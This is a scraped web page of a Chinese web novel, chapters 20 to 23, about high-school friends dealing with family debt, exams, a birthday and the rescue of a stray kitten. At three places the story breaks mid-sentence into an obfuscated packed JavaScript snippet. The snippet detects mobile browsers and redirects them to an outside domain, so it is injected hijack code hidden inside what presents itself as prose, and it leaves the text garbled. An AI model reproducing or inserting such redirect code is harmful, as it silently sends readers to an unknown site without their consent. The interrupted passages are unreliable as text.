付子衿靠在门边,点点头,锐评:“确实是铺满了整个天空。” 屋子就这么大,缩在屋子里,就只能看到这么点。 金欢喜没憋住,哈哈大笑,拉着付子衿跑进屋,躲着气急败坏的金大富。 “对了,新年了是不是要许愿?”付子衿坐在金欢喜的床边,认真环视了一圈。 金欢喜的房间很整洁,一张床,几个柜子。还有一张桌子,上面放着寒假作业和几本书。 上了高中以后,听说金欢喜在自我介绍的时候,把兴趣爱好从骑车改成了读书。没想到,她说的还是真话。 “是啊,等会他们会来叫我们的。”金欢喜正在收拾书桌。 “那你要许什么愿望?” “一般来讲,大家都会许愿身体健康。” “一般?” “我爸今年肯定会许愿挣钱吧。”金欢喜无奈地扶额,金大富每年轮换一个愿望,健康,暴富,健康,暴富,无非就是这两个,今年应该是暴富。 “啊?神明会听到这样的愿望吗?”付子衿心想,要是我是神明,这类愿望一并当做垃圾处理。 “是啊,其实就是自我安慰。那你想要许什么愿望?” “我的话,大家一起考上好大学。”付子衿揉了揉耳朵。 “刚才的烟花太响了?好大学啊,没有一些个人的愿望吗?” “没事。个人吗?那就祈祷我们永远是朋……” 金欢喜捂住了她的嘴。 “愿望说出来就不灵了。” 付子衿的手撑在床上,下意识地收紧,顺从地回答:“嗯。” 片刻后,她回过神来。 “那你呢?” 说了这么久,金欢喜还没说她的愿望。 “我吗?”她似乎很为难,“那我就祈祷你们的愿望都能实现吧。”除了朋友那个。 “诶?好狡猾啊。不是说要个人的愿望吗?” “这就是我个人的愿望啊。” 金欢喜一弯腰,把她从床上抱起来,短暂的亲密后,重新变为适当的距离。 “子衿同学,请你让让,我要铺床了。” 付子衿吓了一跳,晕乎乎地站在地上:“你不能直接说吗?” 笨蛋。 金欢喜还没从拥抱中回过神,敷衍地嗯了一声。 “子衿!欢喜!守岁了哦!出来看电视吧。”陈宝珠敲了敲门。 付子衿恰好站在门边,拉开门,大大方方:“马上马上。欢喜在铺床。” 陈宝珠略带歉意地看着她:“家里就两个房间,只能让你和欢喜一起睡了。” 付子衿立刻把头摇得跟拨浪鼓似的,摆手:“没有没有,我还是第一次和朋友睡在一张床上,挺兴奋的!” “哎呀,欢喜也是第一次,她以前睡相还可以,要是她晚上睡相不好的话,你就直接把她踹下床。”陈宝珠语重心长地嘱咐了一句。 付子衿咳了一声:“不会吧。”金欢喜在学校午睡都不打呼的。 “铺好了!” 屋内传来刻意加重的声音。 金欢喜走到门边,哀怨地看了一眼她妈。 “去守岁吧。” 20. 负债 “大喜,睡不着吗?” 金欢喜出门的时候,陈宝珠正坐在院子里喝酒。 她溜到石桌边,坐下,“嗯”了一声。 晚上的时候,金欢喜除了担心付子衿的事情,就是担心她妈。 从“不结婚”到“喜欢女生”,在世俗的眼睛里,似乎没什么区别。 “关于你的事情,等你毕业那天,我们再谈谈,好吗?” 陈宝珠喝完了杯里的酒,冷静地开口。 金欢喜未战先降,蹲着走到她妈脚边,抱住她妈的小腿。 “妈妈,要是那一天金大富要打死我,你一定要救我。” 太过害怕,她颤颤巍巍、语无伦次,直呼了金大富的名字。 从小到大,只要金欢喜认为自己犯了错,都会事先打好预防针。 这一次也是如此。 陈宝珠倾身,摁在她的头顶。 “大喜,你要明白两件事。一,这不是错误的。二,等到你能为自己的人生、为自己的选择负责的时候,你爸也毫无办法,所以,努力长大吧。” …… 金欢喜从未想过,“为自己负责”这件事,会来得如此之快。 高一的下学期结束的时候,金欢喜成功考入10班,三姐妹又在尖子班团聚。 “这道题肯定不对吧!” “是你没看到这条辅助线!” 每天听着蓝燕仪和付子衿吵架,连吃白饭、啃面包都变得津津有味。 而金欢喜心态的彻底转变,是在高二的一个普通周末。 因为饥饿出来觅食的金欢喜,听见了自己父母的讨论。 “80万?100万?”这是陈宝珠的声音。 庞大的数额吸引了金欢喜的注意,使得她再一次像小偷一样蹲在了墙角。 “……身上……这么多钱……拿不出。”这是金大富的声音。 什么钱?什么拿不出? 金欢喜紧张到心怦怦直跳,听起来,怎么像是欠钱了?自从家里买了汽车,金欢喜都快忘了曾经有多穷了。 “那……贷款……还了。” “不……大喜……。” 他俩的声音越压越低,从断断续续的话语里,金欢喜勉强推断出——家里欠了钱,还想以贷养贷。 总结:完了。 不是吧?难道说,她妈过年的时候说的话,是对她的暗示吗?等等,家里的小汽车,难道也是贷款买的吗? 怀揣着复杂的心情,金欢喜带着一肚子烦恼,明明腹中空空如也,却饱饱地躺在了床上。 她想进去问问陈宝珠和金大富,又知道他俩要面子,绝对不会和她说实话。看看!连欠钱了都没和她说,肯定还有什么别的事瞒着她! 这样一想,确实平时也感觉他们在隐瞒什么。 前途一片黑暗啊! …… “烟雨大神,请您告诉我明天的天空是黑还是白。”金欢喜恭敬地坐在蓝燕仪面前,递上手里的冰可乐。 蓝燕仪接过可乐,从书桌洞里掏出一副墨镜,认真地看了看她的手心。 一旁的付子衿无奈地撑着下巴:“你们是在即兴表演吗?” “不不不。”蓝燕仪意味深长地摆摆手,“人只有在走投无路的时候,才会乞求神明。” “欢喜,你是家里出事了吗?”眼见着蓝燕仪摸着金欢喜的手不放,付子衿上前扒开她俩的手。 “完了……完了……”金欢喜念念有词。 “看起来是鬼上身。”蓝燕仪笃定地点头。 “鬼上身……个鬼啊!”付子衿用力拍打了一下她的手,疼得她脸上的墨镜都歪了。 “负债100……80万,还有活路吗?”金欢喜掐了下自己的人中。 假设一个人一个月能存2000,一年存2万4,也需要40年还清。而且,这可是利滚利,金欢喜认为,自己死的时候可能还背着债。 “80万?!”蓝燕仪激动且小声地拍了一下桌子,冷漠无情地回答,“这样的话你还是和付子衿在一起吧,还债更快,一天就能还清了,看在我出了这个好主意的份上,记得分我一笔。” “啊?”被提到的主人公不明白事情的走向。 金欢喜拉住付子衿的手,晃了又晃,晃了又晃,在付子衿想开口的时候,她突然露出微笑。 “刚刚是在演戏,不好意思。” 此乃谎言。 或许是信念感战胜了一切,付子衿信以为真,把她俩都训斥了一顿。 到了午休的时候,蓝燕仪拉金欢喜出去谈话。 “你家真欠债了?” “没有啊。” “说谎。”蓝燕仪摸了摸栏杆,心累,“虽然表面上看不出来,但你给我买了冰可乐,看来是真的。” “诶?”金欢喜诧异地转头。 “噫!栏杆上有灰!”蓝燕仪拍了拍手,把灰抖干净,“这么久的朋友了,我还不清楚你们俩?从早到晚,不管哪天,你带吃的都是给付子衿带,顺带给我带,这一次只给我拿了,肯定是有事。” 她越说越激动,越说越义愤填膺,金欢喜缩在一边,不敢和她对线。 “好吧,我家确实欠债了,准确来说,99%的可能性。” 还是实话实话,转移她的注意力吧。 “99%?” “他们没跟我说,我只是自己听到了,像是以贷养贷。”金欢喜瘫坐在地。 “喂。”蓝燕仪低头看她。 “怎么了?” “要不,你还是努力追一下付子衿,和她在一起吧?” 当情感掺杂着利益的时候,就会变得复杂。 “我已经……不会跟她讲了。”金欢喜后仰了一下,抬起鞋子,给脚边的小蚂蚁让路。 “为什么?” 金欢喜听说,蓝燕仪正在网恋中,虽然是单向网恋——指每天和喜欢的人发消息。现在看来,这家伙完全就是纸上谈兵,根本没懂什么是爱情啊。 “爱是付出,不是索取。” 带着问题看世界的时候,会更容易看到答案。而金欢喜带着滤镜看付子衿的时候,就更清楚自己为什么会喜欢她。她们都很少向对方索取。 优秀、要强、可靠、体贴。 如果有一个这样的人一心一意对你好,很难不心动吧? “你又不是为了钱想和她在一起的?你不是喜欢她吗?”蓝燕仪吹了吹栏杆上的灰。 “这样的话,不感觉很不平等吗?” “别有用心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908168|147346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这四个字,从来不是自己说了算,而是旁人说了算。金欢喜觉得,这样的话,就像个累赘一样。 要在能对自己负责的时候,去爱人。 这句话在她心里突然具象化了许多。 “啊——你说得对。”蓝燕仪若有所思,把黑了的手摁在她脸上,“不过,我不觉得付子衿这家伙被你骗到了,她应该很担心你吧。” 因为体贴,才没有继续追问,才配合演了下去。 “唉!”金欢喜抹了抹脸,撇撇嘴,“我知道啊,你能不能不要说出来。” 付子衿今天还请她吃了饭,美其名曰她有进步。有一瞬间金欢喜觉得自己像是被金主包养的金丝雀——一只得到了金主十几块钱的包养费的金丝雀。 她有点后悔了。 把这件事说出来,是因为她已经想了很久,想到彻夜难眠。讲给可靠的朋友听,虽然不能解决烦恼,却能分担烦恼。 可恶!早知道只把这件事告诉蓝燕仪就好了。 蓝燕仪:so? 回了教室,付子衿朝她招了招手。 “有老师找我?”金欢喜坐回她身侧。到了高二,金欢喜跌宕起伏的英语成绩又一次得到了英语老师张老师的关注。 所以说,不是英国人为什么要学英语! “竞赛。吴老师问你去不去。”言简意赅,同时递过来的是一本册子。 “数学竞赛啊。”金欢喜一个头两个大,“我已经答应小唐姐报物理竞赛了。” “吴老师说有奖金。”付子衿扭头看她。 金欢喜失措地移开视线,嘀咕:“老头怎么不早说,亏我还是他的得意门生。” “他说你上了高中,喜好更明显了,每天去办公室都是逗女老师开心,根本不关心他这个糟老头子。” 这话听起来凉凉的,意有所指。 金欢喜连忙抓住她的手表达忠心:“我最敬爱的当然是付老师您了。” 见付子衿不自然地移开视线,她又拿起竞赛的册子看了起来,愁苦道:“两个竞赛,每天都要去上辅导课,凑不出时间学英语,张老师会打死我的,我都答应她下次英语会考优秀了。” 尖子班这该死的平均分,为什么把英语拉到优秀线以上! 事实上,10班的英语成绩格外优异是因为有一部分不擅长英语的同学报考了德语、日语、法语,以至于最后剩下的,都是英语好苗子。 当时得知这个消息的金欢喜悲痛地大呼:“为什么要留下我一人!” 蓝燕仪站在她身后,像看傻子一样看了她一眼:“你可能不知道,在你在普通班努力学习的日子里,10班转变为优异升学班,一部分学生在国内升学,一部分学生去国外留学。” “我们班的同学家境都这么好?” “留学费用由一中全额承担。”蓝燕仪耸耸肩。 虽然一中讲究“实力至上”,认为学生的潜力是无限的,把学生看做读书机器,但你不可否认的是,即使你的出生再差,只要以优异成绩考入一中,就可以获得逆天改命的机会——免学费与出国留学。 而“家道中落”的金欢喜同学,不得不一边学着不擅长的英语,一边开始自己的攒钱生涯。 和她最亲爱的小付老师一起。 21. 朋友 “啊——我要疯了。金欢喜!你脑子里有一点英语细胞吗?”蓝燕仪抓了抓头发,逐渐凌乱,逐渐疯狂。 “搞不懂,搞不懂啊。”金欢喜看着眼前的卷子,移开视线,唉声叹气。 “可恶!付子衿这家伙!一句话都不说,就偷偷跑了!”蓝燕仪目光呆滞地看了眼金欢喜,原来从抓狂到感觉人生了无生趣,仅仅需要两道题的时间。 “这道题为什么选D?我觉得B也很符合啊。” “看题说话!一看就是选D啊。” 金欢喜没好气地踢了一脚她的凳子,愁苦地感叹:“子衿怎么还不回来,你这家伙!以后千万别做老师!”不知道有多少祖国的花朵会被残害。 “你什么意思?”蓝燕仪用头顶住她的头,两人睁大眼睛瞪着对方,剑拔弩张。 …… “抱歉……我只离开了一小时吧?”付子衿站在门口,看着仿佛仇人一般扭打在一起的两人,陷入了短暂的沉默。 两人的头发都凌乱得不行,蓝燕仪的头发像个鸡窝,金欢喜就厉害了,顽强的皮筋束缚着一小撮长发,虽然杂乱无章,却有别样的美感。 “你昨晚洗头了?”见两人都不回话,付子衿拎着盒子慢悠悠地坐回座位。 “嗯。诶?你怎么知道?”金欢喜用手梳理了一下头发,“原来你才是我们当中的神明吗?” “哈?上知天文下知地理还是得看我吧?” “没有,你头发松松软软的,虽然乱了,还是很好看。”付子衿认真端详了一会儿。 “真的?”金欢喜咳嗽一声,把视线放回卷子上,“付老师,这道题……” “等等!”蓝燕仪倾身到两人中间,忍无可忍,“有人听见我说话吗?金欢喜你这个忘恩负义的家伙,刚刚可是我在教你!” 付子衿用指关节敲了敲桌子,瞥了一眼金欢喜的卷子,歪头看她:“所以?你教了几道题?” 一小时,两道题,还是英语。 蓝燕仪顺着桌子麻溜地滑回了座位。 “啊哈哈哈,对了,你刚刚出去干嘛?” 付子衿拎起手里的盒子,打了个哈欠:“我妈出差回来,让她顺路帮我带了一个蛋糕。” “蛋糕?”金欢喜和蓝燕仪同时表现出疑惑,付子衿的生日可不是今天。 “是室友。梦珂的生日。”付子衿给她俩一人敲了一下头,加快她们记忆的复苏。 游梦珂,付子衿的室友。曾在付子衿发烧期间照顾过付子衿。 “你们关系什么时候这么好了。”金欢喜转了转笔,不经意地问道。 “这不是很正常吗?你们不知道梦珂今天生日?”付子衿的视线扫过两人,看见她们心虚的表情,只能又叹了一口气,“平时梦珂和我们之间交流也不少吧,你们两都在想什么?一点都不知道?特别是你,蓝燕仪,游梦珂可是你同桌。” 蓝燕仪撇了撇嘴,她和金欢喜都有喜欢的人,那么关注别人干什么? “你很不服气?”付子衿放轻了声音,微笑。 “我忏悔!”金欢喜一哆嗦,率先举白旗投降认错。 游梦珂是十班的纪律委员,人缘奇差的那种。自习课上,盯准每一个交头接耳的人;收作业时,上报每一个没写作业的人;比赛期间,督促每一个报考的人。 此人铁面无私,不善言谈。在她的身边,你无法获得自由,但一定能得到能力的提高。 “我说。”蓝燕仪摸了摸下巴,认真道,“我可不是说对游梦珂有意见,但她是不是该学学说话的艺术?” 蓝燕仪欣赏每一个认真的人,但游梦珂总是认真过了头,显得不近人情,坐在她旁边,跟个木头似的。 “你这么说,我还蛮好奇有没有能让她区别对待的人。”金欢喜一脸深沉地和她凑在一块。 “有啊。”付子衿拿过金欢喜的卷子,看了几眼题目,自然地接话。 “诶?”两人惊讶地望向她。 “她好像有一个很喜欢的小说作家,叫什么来着……烟雨?”说到最后,付子衿突然反应过来,看了一眼蓝燕仪。 和蓝燕仪的账号名一模一样。 “咳咳咳咳……”金欢喜和蓝燕仪两人同时开始剧烈地咳嗽。 “我也是烟雨的粉丝!”蓝燕仪望向窗外,撒了个小谎。 什么?什么!游梦珂喜欢的小说作家是她? “这么好看?”付子衿疑惑不解。 “这个,那个,我们先去给游梦珂过生日吧!”蓝燕仪闪烁其词,给金欢喜使了个眼色。 于是金欢喜拉住付子衿的手,打断了她的追问:“付老师,今天的学习到此结束吧!” “把这次的卷子讲完。”聊到正事,付子衿的注意力回归,用指尖点了点卷子上的错题。 为了数学竞赛和物理竞赛,金欢喜牺牲了补英语的时间,她的英语不能说停滞不前,只能说倒退如流,这一次月考被张老师骂了个狗血淋头。 “厌学啊,厌学!”面对不擅长的学科,其他方面再强的学霸也会在学习面前跪下。 要是人天生就知道自己擅长什么,只要学自己擅长的东西就好了。金欢喜心想。 “没有人是什么都擅长的,学习不都是从零开始的吗?”蓝燕仪拍了拍金欢喜的背以示安慰,虽然她是“都擅长”的人。 毫无说服力。 金欢喜复杂地看了好几眼她真诚的表情,勉强接受了安慰。 “唉!为什么人要面面俱到,难道只擅长一些科目的人不算人才吗?”金欢喜坐直身体,松了松背,一歪,倒在付子衿腿上。 “起来。” 今天的小付老师还是一如既往的冷漠呢。 “小付老师,你是不是胖了,有双下巴了。”金欢喜仰望着天花板,看着她咽了口口水,凌厉的视线如期而至。 “金欢喜。” “错了错了,起来了!” “哈哈哈哈哈。”后排的蓝燕仪拍桌大笑,“你瞎说什么大实话?” “蓝燕仪!” “可怕。” …… “蛋糕?”游梦珂无措地捏了捏衣角。 “祝你生日快乐哈,游梦珂同学。”替付子衿拎着蛋糕的蓝燕仪把蛋糕放在了桌子上,“子衿买的,她和欢喜去买零食了,等会儿来。” “来了!” “真是说曹操曹操就到。”蓝燕仪坐到付子衿的板凳上。 金欢喜拎着一袋子零食,付子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908169|147346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衿抱着一大瓶可乐和几瓶矿泉水。 “好姐妹,我就知道你会帮我买可乐来的!”蓝燕仪一个箭步冲到两人面前,乐呵呵地接过了可乐。 金欢喜抽了抽嘴角,提醒了一句:“少喝点可乐,等你老了,牙坏了,就看着我们吃。” “呸呸呸!”蓝燕仪扭头瞪了她一眼,“这是诅咒啊,诅咒!” “梦珂,祝你生日快乐!”付子衿把矿泉水放到桌上,金欢喜紧跟着祝贺。 “谢谢。”游梦珂站在桌前,紧张地抠了抠桌面底部的木头,“没想到你竟然记得。” “再怎么说我们也是室友啊。” 年级唯一一间只有两人居住的四人寝,让另外两人痛斥命运的不公。 “要不我和蓝燕仪一起搬过来吧。”金欢喜拉着付子衿向后,磨了磨后槽牙。 蓝燕仪幸灾乐祸地站在一边:“欢喜,要好好保护你的牙齿哦。” 一顿插科打诨后,四人终于安静地坐下来吃了零食,分了蛋糕。 游梦珂和蓝燕仪凑在一块聊小说的事情,付子衿和金欢喜坐在床边,思考人生。 “时间过得好快啊,一转眼,我们都快要高三了。”付子衿喝了两口矿泉水,看了眼金欢喜。 “毕业之后,我们又会在哪里呢?”金欢喜喝了口可乐,和她对视。 “就算各奔东西,大家也会是永远的朋友啊。”付子衿看了眼对面鬼鬼祟祟的蓝燕仪,笑了一下,“而且,燕仪看起来就像是会主动提出聚一聚的人。” 要想一个团体不散,就必须有一个人成为连接所有人的线。 “确实。”金欢喜看了眼剩下的蛋糕,一碰,一点,把奶油留在了付子衿的脸颊上,“小付老师,一直以来,都谢谢你。” 付子衿抬手抹了抹脸,垂下眼眸:“怎么说得像是要生离死别一样?就算是毕业,也还有一年多哦。” “时间就是过得很快啊。”金欢喜用勺子戳了戳蛋糕胚,脸上浮现出几分惆怅。 关于负债的事情,她旁敲侧击地问了问陈宝珠和金大富,两个人和她硬是牛头不对马嘴,整了半天,只说了一堆没用的废话。而关于感情的事,就更复杂了。 金欢喜看向付子衿,她脸上还留了一点白色的奶油,她伸手,把那一点亲手涂上的奶油抹掉。 每个人都拥有时间,也都留不住时间。临近高三,她心中的感情愈发沉寂,有时候金欢喜会想,会不会当时的汹涌是她的错觉,现在的平静才是真相。她和付子衿,会不会更适合做朋友? 付子衿曾经说过,爱情是所有感情里最脆弱的东西。在她心里,友情比爱情重要得多。既然这样,她只要做她最好的朋友就可以了吧? “欢喜。” “嗯?” “你觉得,我考C大怎么样?” “……” 金欢喜手一抖,差点丢了手里的蛋糕,她望向付子衿,在床板的遮挡下,对方一半的脸藏匿在黑暗中。 “你觉得,我考C大怎么样?” 她用极其平静的语调重复了一次。 金欢喜捏紧了勺子。 错愕的同时,又升起隐秘的欢喜。 啊……我怎么可能,只做她的朋友。 22. 流浪猫 “小付老师,我明天去打比赛了哦。”下了晚自习,金欢喜和付子衿并肩走向宿舍,“记得帮我和燕仪说一声,不然她又要碎碎念了。” “嗯。”付子衿望着前方流动的人群,没有看她。 你觉得,我考C大怎么样? 在漫长的沉默里,她没有给出回答。 或许,沉默也是一种回答。 “小付老师,这次是要去A市打比赛,你有没有想要的特产?”金欢喜拉了拉她的衣摆。 “我……都可以。” 我只是想要一个答案。 付子衿没告诉金欢喜一件事,高一的时候,过年的那一天,守岁结束的凌晨,已经是五六点,因为太兴奋,她没有睡着,只是闭着眼睛,闭目养神。 日光穿过了窗帘,洒满了房间,即使闭着眼睛,也能感受到“光”的存在。 但是有一个瞬间,付子衿眼前一暗,感受到了近在咫尺的呼吸。 呼吸声很轻很轻,有一个笨蛋,蹑手蹑脚地起身,看了她好久,久到她因为一直“看”不到光,迷迷糊糊地睡着了。 最后,记忆里只剩下离开的脚步声。 这已经不是朋友的距离。 “这样……那我给你带习题?” 金欢喜用力拍了拍自己的嘴,这笨嘴,说啥呢。 自从游梦珂的生日结束后,因为那个没有回答的问题,她们的气氛变得有些微妙。私心上讲,金欢喜当然希望能和付子衿一起读大学,但理智而言,去A大比C大更有前途。 当人愿意为另一个人放弃自己的前途的时候,说明他在这段感情中并不理智。可能是一时新鲜,也可能是一时糊涂。金欢喜并不希望,付子衿把前程挂在她们之间的友情上。 “?”付子衿拧眉,看了她好几眼,最后表示,“随便带点吃的就可以。” 卷子能算特产吗? 当然不能。 …… “欢喜呢?” 蓝燕仪无聊地敲了敲前面空着的椅子,看向一旁背挺得笔直的某人。 “打比赛,明天下午回来。” 付子衿头也不回,一心一意盯着手里的题目。 “哈?可恶!这家伙怎么没说?我都不知道!”蓝燕仪踢了两脚空椅子,见旁边的游梦珂看过来,又老老实实地把椅子摆回原位,“好无聊啊。” “无聊就刷题。”付子衿言简意赅地回答。 于是气氛归于寂静,直到—— “付子衿!你之前是不是说以后要养猫?”蓝燕仪趴在桌子上,突然神神秘秘地抬起头来。 “我?”付子衿看了一眼旁边的座位,摇摇头,“是欢喜想养猫。” 话语刚落,蓝燕仪举起手里发着光的手机。 “你竟然偷偷玩手机?” “哎!这不是重点,你看,有人在校园论坛发了一只流浪猫。” 图片上的小猫摇摇晃晃地站着,看起来刚刚满月,花色斑驳,是只小三花。它警惕地站在墙角,高高地弓起背,蓬松而稀少的软毛炸起,呈现出防备的姿态。 “蓝燕仪同学,你答应过我不会在学校里光明正大地玩手机。”付子衿还在看那张照片,一边的游梦珂认真地看向蓝燕仪。 蓝燕仪收起手机,露出欠揍的微笑:“你忘了一个前提。我当时说的是,如果你考过我,我就答应你。” 两人你一嘴我一嘴地开始辩论,坐在前面的付子衿却陷入了思考。 一中有许多公益社团,其中有一个叫作流浪动物救助协会,金欢喜在里头干了两年,是里面的骨干。付子衿记得一个月前她曾多次提起,她在学校的大巴底下救了一只怀孕的三花猫,但是那只三花猫不知道为什么在快要生产的时候失踪了,还叼走了她给它铺在窝里的旧衣服。 当时她捶胸顿足,觉得十分可惜。在学校找了好几圈,一直没找到,连抓去绝育都找不到机会。 “这只小猫,在哪里?” 笔墨在纸张上晕开,她回了神,已经无暇思考解不开的难题。 她已经很久没和欢喜好好说话,救了小猫,欢喜应该会很高兴。 “在食堂那边,应该是饿了吧。”在游梦珂不赞成的目光里,蓝燕仪再次掏出手机,浏览了一遍帖子,“它好像不亲人,我不建议你去抓它。” 帖主在帖子里特别写明:这只小三花很怕人,如果有同学要投喂,请勿靠得太近,以防被抓伤。 满月的小奶猫,虽然不大,爪子却足够锋利,能轻易刺破人的皮肤,抓出血来。蓝燕仪认为,付子衿这样细皮嫩肉的家伙,根本驯服不了这只小三花。 正好是午休,付子衿侧过身,弯腰,拿了金欢喜课桌洞里的外套,慢条斯理地走出了教室前门。 正在听游梦珂念经的蓝燕仪忙不迭起身跟了上去。来不及问她为什么要拿金欢喜的外套,又警告了她一次。 “你真要去抓小猫?我跟你说,那只猫是很凶的!” “嗯。”付子衿点点头。她仅仅是觉得,小猫是一个很好地突破口,对她和金欢喜来讲。而且,金欢喜曾经救过小猫的妈妈。 阻拦无果,蓝燕仪只能紧跟着付子衿来到了食堂。 有几个人蹲在小猫的对面,使两人清晰快速地找到了小猫的位置。 付子衿认识最前面的女生,她是流浪动物救助协会的会长。 “不好意思,我想问一下,我可以领养这只猫吗?”付子衿指了指缩在墙角的小三花,它正呲着牙,一脸凶狠,可惜年龄尚小,让付子衿一眼就看出了它的外强中干。 “啊?是这样的,同学,这个小猫不是很亲人,我们在这里蹲了好久了,想用笼子抓它,失败了,它现在更警惕了。”会长比划了一番,付子衿勉强理解了她的意思。 在校园论坛上看到小猫之后,会长立刻带人来到了现场,还在笼子里放了吃的,但是小猫十分警惕,一直没进去,后来笼子收起来,小猫发现这是抓它的东西,直接就变成了现在凶狠的样子。 “我试试。”付子衿把金欢喜的外套套在前面,闻到了熟悉的香味,她绷紧脸,眉间松了松,弯着腰,一点一点地向小猫移动。 没来得及阻止她的会长在后头急得跳脚,小猫正是应激的时候,不管是猫受惊还是人受伤,对她来讲都是噩耗。 感受到陌生的气息,小猫踩了踩水泥地,后退了两步。 付子衿把手缩在外套里,伸到它面前十几厘米的地方,不动了。 警惕的小猫试探地向前走了两步,仔细闻了闻味道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13908170|147346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 在会长和蓝燕仪惊讶的目光中,小猫蹭了蹭外套。 付子衿轻轻摸了摸它,它一惊,又往后蹿。 反复来回几次,付子衿用外套裹住来小猫,把它抱在怀里。 “挺亲人的。” 会长听着,总感觉有几分嘲讽的意味。 “小猫的妈妈呢?”要带猫崽子走,必须和猫妈妈说一声。 会长摇了摇头:“猫妈妈已经走了。” 就在前两天,大三花蹲在校门口,精神萎靡,他们带猫妈妈去了医院,检查出了肾功能衰竭,已经是后期,当天就走了,他们买的鱼罐头就摆在它面前,一口没吃。 付子衿在原地站了半晌,看了看怀里的小猫,突然开口:“那你就叫年年。” 年年有余。年年有鱼。 付子衿跟着会长到协会活动室,签了字,给年年吃了饭、拍了照,正式领养了年年。 会长摸了摸温顺了许多的年年,教导它:“年年,你一定要做只好母猫。” “怎么看出是母猫?”付子衿对猫的认知始终停留在金欢喜偶尔的科普。 “一般三花猫都是母猫,不过也有基因变异的三花公猫,我已经看过了,咱们年年是正常小母猫。”会长给领养证书盖了章,递给付子衿。 “哦。”付子衿似懂非懂地点点头。 被提到的小猫冲会长哈了口气,显然对她窥探自己的隐私十分不满。它转而蹭了蹭外套,表现得十分粘人。 被吓着的会长看着付子衿抱着年年离开,在领养册子上年年的那一栏写上——两幅面孔。 …… “欢喜!你可算回来了!”蓝燕仪激动地拍拍桌子。 金欢喜打了个哈欠,打完比赛的她脸色憔悴,“咣当”一声,疲惫地跌坐到了位子上。 坐着学校的大巴,去的时候还好,回来的时候差点因为晕车吐了。 “诶?我衣服怎么放在桌上?”金欢喜眯着眼,看见自己桌上叠得整整齐齐的春秋装校服外套。 不对劲,很不对劲。 她微微前倾,闻到了熟悉的味道,当即一个后撤,撞在了蓝燕仪的桌子上。 蓝燕仪的桌子一震,平稳落地。 好在桌子的主人没空关心自己可怜的桌子,一心只想分享这两天的新鲜事。 “你知道吗?付子衿她,竟然养猫了!”她把手机上的照片放到她的面前。 金欢喜的背还隐隐作痛,定睛一看,是只炸毛的小三花,长得有点眼熟。 一只手突兀地出现在她眼前,拿走了手机。 金欢喜仰头,看见付子衿的脸,两天没见,陌生又熟悉。 “我这里有更多的照片。” 一眨眼,手里多了一部手机,贴心地停留在照片的界面。 金欢喜呼吸一窒。那不是一张简单的小猫照片,是付子衿抱着小猫的自拍。 因为姿势的缘故,少女的衣角微微提起,露出洁白的腰肢。 在蓝燕仪不满地凑过来的瞬间,金欢喜快速摁下了息屏键,心跳如鼓。 付子衿慢悠悠地收回了手机,蓝燕仪还在旁边不满地碎碎念,游梦珂正在指责两人玩手机。 而金欢喜,呆滞地坐在座位上,耳尖发烫。 23. 世事无常 “周末,要不要来我家看猫?” 下了晚自习,等教室里的人都走得差不多了,付子衿用手抵着半边脸,余光看向她。 金欢喜整理书桌的动作停顿了一会儿,敏锐地察觉到了和好的信号。也是,她们已经有段时间没一起出去了。 “那只小三花吗?” 金欢喜不得不反思自己,她明明看见了蓝燕仪手机里那只脏兮兮的小猫,却没看清付子衿手机里那只漂亮的小猫,竟然如此轻易被付子衿勾走了视线。 只隐隐记得,那只小猫被白皙修长的手举起,干净的小猫旁边,是少女勾起的嘴角。干净的小猫,干净的小猫,是只三花……再多的细节,想不起来了。 “是年年。”付子衿后靠在凳子上,想了又想,没说出猫妈妈已经去世的消息。 “我也要去!” 空无一人的后桌突然窜出一个人影。 “鬼啊!”金欢喜腿一哆嗦,掉下了板凳。 一个标准的掉凳儿。 从座位底下冒出来的蓝燕仪心虚地抓了抓头发,叹气:“喜子,我真不是故意吓你的,这凳子缺了个腿,我在修呢。” 谁曾想这一修,还听到这俩人要背着她一起玩。这可不行!她们可是坚固的铁三角。 “那你们周六早上一起来吧。”付子衿伸手拉了一把金欢喜,见她没事,打开手机在群里发了地址,“刚好我爸妈都不在家。” …… 早上,是多早来着? 金欢喜到达和悦小区门口的时候,空无一人,饿着肚子,在和悦边上走了一圈,喝了一阵又一阵的西北风,没找到一家餐馆。 有钱人都不吃饭是吧。 “哦豁!欢喜,来挺早啊!” 蓝燕仪远远地大喊了一声,用力挥了挥手。金欢喜觉得她前世应该是个风神,这一招手,风就变大了。 和悦小区是C市著名的富人区,全面实施智能系统控制,大门口被高高的电子围栏包裹,遍布着监控,两个进出口,分别供应业主和其车辆的出行。 汇合后,金欢喜和蓝燕仪蹲在大门边上的阴影处,等付子衿远程开门。 